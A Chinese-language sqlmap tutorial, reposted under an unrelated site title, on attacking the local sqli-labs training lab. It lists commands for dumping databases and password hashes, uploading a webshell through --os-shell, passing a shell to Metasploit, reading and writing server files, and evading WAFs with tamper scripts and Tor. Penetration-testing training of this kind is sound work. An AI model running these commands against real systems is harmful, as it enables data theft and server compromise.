京寵展信息指南
889
2022-05-29
@TOC
本文采用實例:sqli-labs靶場
SqlMap
一款自動化的SQL注入工具,其主要功能是掃描,發(fā)現(xiàn)并利用給定的URL的SQL注入漏洞,目前支持的數(shù)據(jù)庫是MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB。采用五種獨特的SQL注入技術(shù),分別是:
1、基于布爾的盲注,即可以根據(jù)返回頁面判斷條件真假的注入。
2、基于時間的盲注,即不能根據(jù)頁面返回內(nèi)容判斷任何信息,用條件語句查看時間延遲語句是否執(zhí)行(即頁面返回時間是否增加)來判斷。
3、基于報錯注入,即頁面會返回錯誤信息,或者把注入的語句的結(jié)果直接返回在頁面中。
4、聯(lián)合查詢注入,可以使用union的情況下的注入。
5、堆查詢注入,可以同時執(zhí)行多條語句的執(zhí)行時的注入。
常用指令
sqlmap -r http.txt #http.txt是我們抓取的http的請求包 sqlmap -r http.txt -p username #指定參數(shù),當有多個參數(shù)而你又知道username參數(shù)存在SQL漏洞,你就可以使用-p指定參數(shù)進行探測 sqlmap -u "http://www.xx.com/username/admin*" #如果我們已經(jīng)知道admin這里是注入點的話,可以在其后面加個*來讓sqlmap對其注入 sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" #探測該url是否存在漏洞 sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --cookie="抓取的cookie" #當該網(wǎng)站需要登錄時,探測該url是否存在漏洞 sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --data="uname=admin&passwd=admin&submit=Submit" #抓取其post提交的數(shù)據(jù)填入 sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --users #查看數(shù)據(jù)庫的所有用戶 sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --passwords #查看數(shù)據(jù)庫用戶名的密碼 有時候使用 --passwords 不能獲取到密碼,則可以試下 -D mysql -T user -C host,user,password --dump 當MySQL< 5.7時 -D mysql -T user -C host,user,authentication_string --dump 當MySQL>= 5.7時 sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --current-user #查看數(shù)據(jù)庫當前的用戶 sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --is-dba #判斷當前用戶是否有管理員權(quán)限 sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --roles #列出數(shù)據(jù)庫所有管理員角色,僅適用于oracle數(shù)據(jù)庫的時候 sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --dbs #爆出所有的數(shù)據(jù)庫 sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --tables #爆出所有的數(shù)據(jù)表 sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --columns #爆出數(shù)據(jù)庫中所有的列 sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --current-db #查看當前的數(shù)據(jù)庫 sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security --tables #爆出數(shù)據(jù)庫security中的所有的表 sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users --columns #爆出security數(shù)據(jù)庫中users表中的所有的列 sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users -C username --dump #爆出數(shù)據(jù)庫security中的users表中的username列中的所有數(shù)據(jù) sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users -C username --dump --start 1 --stop 100 #爆出數(shù)據(jù)庫security中的users表中的username列中的前100條數(shù)據(jù) sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users --dump-all #爆出數(shù)據(jù)庫security中的users表中的所有數(shù)據(jù) sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security --dump-all #爆出數(shù)據(jù)庫security中的所有數(shù)據(jù) sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --dump-all #爆出該數(shù)據(jù)庫中的所有數(shù)據(jù) sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --tamper=space2comment.py #指定腳本進行過濾,用/**/代替空格 sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --level=5 --risk=3 #探測等級5,平臺危險等級3,都是最高級別。當level=2時,會測試cookie注入。當level=3時,會測試user-agent/referer注入。 sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --sql-shell #執(zhí)行指定的sql語句 sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --os-shell/--os-cmd #執(zhí)行--os-shell命令,獲取目標服務(wù)器權(quán)限 sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --os-pwn #執(zhí)行--os-pwn命令,將目標權(quán)限彈到MSF上 sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --file-read "c:/test.txt" #讀取目標服務(wù)器C盤下的test.txt文件 sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --file-write test.txt --file-dest "e:/hack.txt" #將本地的test.txt文件上傳到目標服務(wù)器的E盤下,并且名字為hack.txt sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --dbms="MySQL" #指定其數(shù)據(jù)庫為mysql 其他數(shù)據(jù)庫:Altibase,Apache Derby, CrateDB, Cubrid, Firebird, FrontBase, H2, HSQLDB, IBM DB2, Informix, InterSystems Cache, Mckoi, Microsoft Access, Microsoft SQL Server, MimerSQL, MonetDB, MySQL, Oracle, PostgreSQL, Presto, SAP MaxDB, sqli-labste, Sybase, Vertica, eXtremeDB sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --random-agent #使用任意的User-Agent爆破 sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --proxy="http://127.0.0.1:8080" #指定代理 當爆破HTTPS網(wǎng)站會出現(xiàn)超時的話,可以使用參數(shù) --delay=3 --force-ssl sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --technique T #指定時間延遲注入,這個參數(shù)可以指定sqlmap使用的探測技術(shù),默認情況下會測試所有的方式,當然,我們也可以直接手工指定。 支持的探測方式如下: B: Boolean-based blind SQL injection(布爾型注入) E: Error-based SQL injection(報錯型注入) U: UNION query SQL injection(可聯(lián)合查詢注入) S: Stacked queries SQL injection(可多語句查詢注入) T: Time-based blind SQL injection(基于時間延遲注入) sqlmap -d "mysql://root:root@127.0.0.130:3306/mysql" --os-shell #知道網(wǎng)站的賬號密碼直接連接 -v3 #輸出詳細度 最大值5 會顯示請求包和回復包 --threads 5 #指定線程數(shù) --fresh-queries #清除緩存 --flush-session #清空會話,重構(gòu)注入 --batch #對所有的交互式的都是默認的 --random-agent #任意的http頭 --tamper base64encode #對提交的數(shù)據(jù)進行base64編碼 --referer http://www.baidu.com #偽造referer字段 --keep-alive 保持連接,當出現(xiàn) [CRITICAL] connection dropped or unknown HTTP status code received. sqlmap is going to retry the request(s) 保錯的時候,使用這個參數(shù)
burp和sqlmap聯(lián)動:
文章最后一個標簽
探測目標網(wǎng)站是否存在注入
1、不需要登陸的站點
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" #探測該url是否存在漏洞
我們可以看到sqlmap和我們存在交互,大家需要根據(jù)工具提示選擇不同的掃描方式
sqlmap會告知我們目標網(wǎng)站存在的注入類型、腳本語言及版本、數(shù)據(jù)庫類型及版本、中間件等相關(guān)信息。
掃描最后會告知我們探測數(shù)據(jù)的保存路徑
2、需要登陸的站點
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --cookie="抓取的cookie" #探測該url是否存在漏洞
3、需要Post提交數(shù)據(jù)的url
sqlmap -u "http://127.0.0.1/sqli-labs/Less-11/?id=1" --data="uname=admin&passwd=admin&submit=Submit" #抓取其post提交的數(shù)據(jù)填入
查詢數(shù)據(jù)庫users
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --users
查詢數(shù)據(jù)庫passwords
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --passwords
當我們跑密碼的時候,sqlmap和我們會有兩條左右交互
第一處:詢問我們是否保存hash值 Y/N
第二處:詢問我們是否對hash值進行爆破 Y/N/Q
第三處:詢問我們是否要使用通用密碼后綴? Y/N
查詢數(shù)據(jù)庫當前用戶
sqlmap -u "http://127.0.0.1/sqli-lasb/Less-1/?id=1" --current-user #查看數(shù)據(jù)庫當前的用戶
查詢當前數(shù)據(jù)庫用戶是否是管理員權(quán)限
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --is-dba #判斷當前用戶是否有管理員權(quán)限
列出數(shù)據(jù)庫的管理員用戶名
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --roles
查詢所有數(shù)據(jù)庫
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --dbs
查詢當前數(shù)據(jù)庫
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --current-db
輸出指定數(shù)據(jù)庫名字下的全部表
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security --tables
輸出指定數(shù)據(jù)名下指定表下的全部列
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security -T users --columns
輸出指定數(shù)據(jù)庫指定列指定字段下的全部數(shù)據(jù)
sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users -C password --dump
-all系列
1、輸出該數(shù)據(jù)庫中全部數(shù)據(jù)
sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --dump-all
時間過長,截取選取掃描過程中的過程截圖:
2、輸出指定數(shù)據(jù)庫中的全部數(shù)據(jù)
sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security --dump-all
時間過長,截取選取掃描過程中的過程截圖:
3、輸出指定數(shù)據(jù)庫指定表中的全部數(shù)據(jù)
sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T user --dump-all
時間過長,截取選取掃描過程中的過程截圖:
高級用法
繞過WAF
原理:只用–tamper對參數(shù)進行修改來繞過waf,官方提供的絕大部分腳本是用正則模塊替換攻擊載荷字符編碼的方式來繞過waf的檢測規(guī)則。
常用指令:
--identify-waf 檢測是否有WAF #使用參數(shù)進行繞過 --random-agent 使用任意HTTP頭進行繞過,尤其是在WAF配置不當?shù)臅r候 --time-sec=3 使用長的延時來避免觸發(fā)WAF的機制,這方式比較耗時 --hpp 使用HTTP 參數(shù)污染進行繞過,尤其是在ASP.NET/IIS 平臺上 --proxy=100.100.100.100:8080 --proxy-cred=211:985 使用代理進行繞過 --ignore-proxy 禁止使用系統(tǒng)的代理,直接連接進行注入 --flush-session 清空會話,重構(gòu)注入 --hex 或者 --no-cast 進行字符碼轉(zhuǎn)換 --mobile 對移動端的服務(wù)器進行注入 --tor 匿名注入
sqlmap為我們準備了繞過waf的腳本,在sqlmap文件夾tamper文件夾下
使用情況如下:
使用方法--tamper xxx.py apostrophemask.py用UTF-8全角字符替換單引號字符 apostrophenullencode.py 用非法雙字節(jié)unicode字符替換單引號字符 appendnullbyte.py在payload末尾添加空字符編碼 base64encode.py 對給定的payload全部字符使用Base64編碼 between.py分別用“NOT BETWEEN 0 AND #”替換大于號“>”,“BETWEEN # AND #”替換等于號“=” bluecoat.py 在SQL語句之后用有效的隨機空白符替換空格符,隨后用“LIKE”替換等于號“=” chardoubleencode.py 對給定的payload全部字符使用雙重URL編碼(不處理已經(jīng)編碼的字符) charencode.py 對給定的payload全部字符使用URL編碼(不處理已經(jīng)編碼的字符) charunicodeencode.py 對給定的payload的非編碼字符使用Unicode URL編碼(不處理已經(jīng)編碼的字符) concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替換像“CONCAT(A, B)”的實例 equaltolike.py 用“LIKE”運算符替換全部等于號“=” greatest.py 用“GREATEST”函數(shù)替換大于號“>” halfversionedmorekeywords.py 在每個關(guān)鍵字之前添加MySQL注釋 ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替換像“IFNULL(A, B)”的實例 lowercase.py 用小寫值替換每個關(guān)鍵字字符 modsecurityversioned.py 用注釋包圍完整的查詢 modsecurityzeroversioned.py 用當中帶有數(shù)字零的注釋包圍完整的查詢 multiplespaces.py 在SQL關(guān)鍵字周圍添加多個空格 nonrecursivereplacement.py 用representations替換預定義SQL關(guān)鍵字,適用于過濾器 overlongutf8.py 轉(zhuǎn)換給定的payload當中的所有字符 percentage.py 在每個字符之前添加一個百分號 randomcase.py 隨機轉(zhuǎn)換每個關(guān)鍵字字符的大小寫 randomcomments.py 向SQL關(guān)鍵字中插入隨機注釋 securesphere.py 添加經(jīng)過特殊構(gòu)造的字符串 sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs space2comment.py 用“/**/”替換空格符 space2dash.py 用破折號注釋符“--”其次是一個隨機字符串和一個換行符替換空格符 space2hash.py 用磅注釋符“#”其次是一個隨機字符串和一個換行符替換空格符 space2morehash.py 用磅注釋符“#”其次是一個隨機字符串和一個換行符替換空格符 space2mssqlblank.py 用一組有效的備選字符集當中的隨機空白符替換空格符 space2mssqlhash.py 用磅注釋符“#”其次是一個換行符替換空格符 space2mysqlblank.py 用一組有效的備選字符集當中的隨機空白符替換空格符 space2mysqldash.py 用破折號注釋符“--”其次是一個換行符替換空格符 space2plus.py 用加號“+”替換空格符 space2randomblank.py 用一組有效的備選字符集當中的隨機空白符替換空格符 unionalltounion.py 用“UNION SELECT”替換“UNION ALL SELECT” unmagicquotes.py 用一個多字節(jié)組合%bf%27和末尾通用注釋一起替換空格符 varnish.py 添加一個HTTP頭“X-originating-IP”來繞過WAF versionedkeywords.py 用MySQL注釋包圍每個非函數(shù)關(guān)鍵字 versionedmorekeywords.py 用MySQL注釋包圍每個關(guān)鍵字 xforwardedfor.py 添加一個偽造的HTTP頭“X-Forwarded-For”來繞過WAF
-level/-risk
Sqlmap一共有5個探測等級,默認是1。等級越高,說明探測時使用的payload也越多。其中5級的payload最多 ,會自動破解出cookie、XFF等頭部注入。當然,等級越高,探測的時間也越慢。這個參數(shù)會影響測試的注入點,GET和POST的數(shù)據(jù)都會進行測試,HTTP cookie在level為2時就會測試,HTTP User-Agent/Referer頭在level為3時就會測試。 在不確定哪個參數(shù)為注入點時,為為保證準確.性,建議設(shè)置level為5
Sqlmap一共有3個危險等級, 也就是說你認為這個網(wǎng)站存在幾級的危險等級。和探測等級一個意思, 在不確定的情況下,建議設(shè)置為3級,–risk=3
工具使用payload目錄
sqlmap\data\xml\payloads(windows)
偽造Http Referer頭部
sqlmap可以在請求中偽造http請求頭中的referer,當-level大于等于3時,會進行referer注入
eg: referer http://www.topreverse.cn
執(zhí)行指定的SQL語句
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --sql-shell #執(zhí)行指定的sql語句
執(zhí)行OS系統(tǒng)命令
當且僅當數(shù)據(jù)庫是mysql、postgresql、sql server時可以執(zhí)行。
當數(shù)據(jù)庫是mysql時,需要滿足3個條件:
1、root權(quán)限
2、已經(jīng)知道目標站點的絕對路徑
3、secure_file_priv的參數(shù)值時空(未修改前是NULL)
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --os-shell #執(zhí)行--os-shell命令
過程中sqlmap會向指定路徑傳入兩個文件,tmpblwkd.php(木馬文件)和tmpueqch.php。退出時輸入q和x才可以刪除傳入的文件。
讀取服務(wù)器文件
前提:數(shù)據(jù)庫是:mysql、postgresql和sql server
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --file-read "c:/topreverse.txt" #讀取目標服務(wù)器C盤下的test.txt文件
上傳文件到數(shù)據(jù)庫服務(wù)器
前提:數(shù)據(jù)庫是mysql、postgre sql、sql server
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-2/?id=1 --file-write C:\Users\system32\Desktop\text.php --file-dest "C:\phpStudy\PHPTutorial\WWW\test.php" #將本地的text.php文件上傳到目標服務(wù)器test.php
sqlmap自身上傳完成之后會進行驗證,讀取文件大小進行對比。
以上就是本文全部內(nèi)容,希望大家可以有所收獲!
SQL 數(shù)據(jù)庫
版權(quán)聲明:本文內(nèi)容由網(wǎng)絡(luò)用戶投稿,版權(quán)歸原作者所有,本站不擁有其著作權(quán),亦不承擔相應(yīng)法律責任。如果您發(fā)現(xiàn)本站中有涉嫌抄襲或描述失實的內(nèi)容,請聯(lián)系我們jiasou666@gmail.com 處理,核實后本網(wǎng)站將在24小時內(nèi)刪除侵權(quán)內(nèi)容。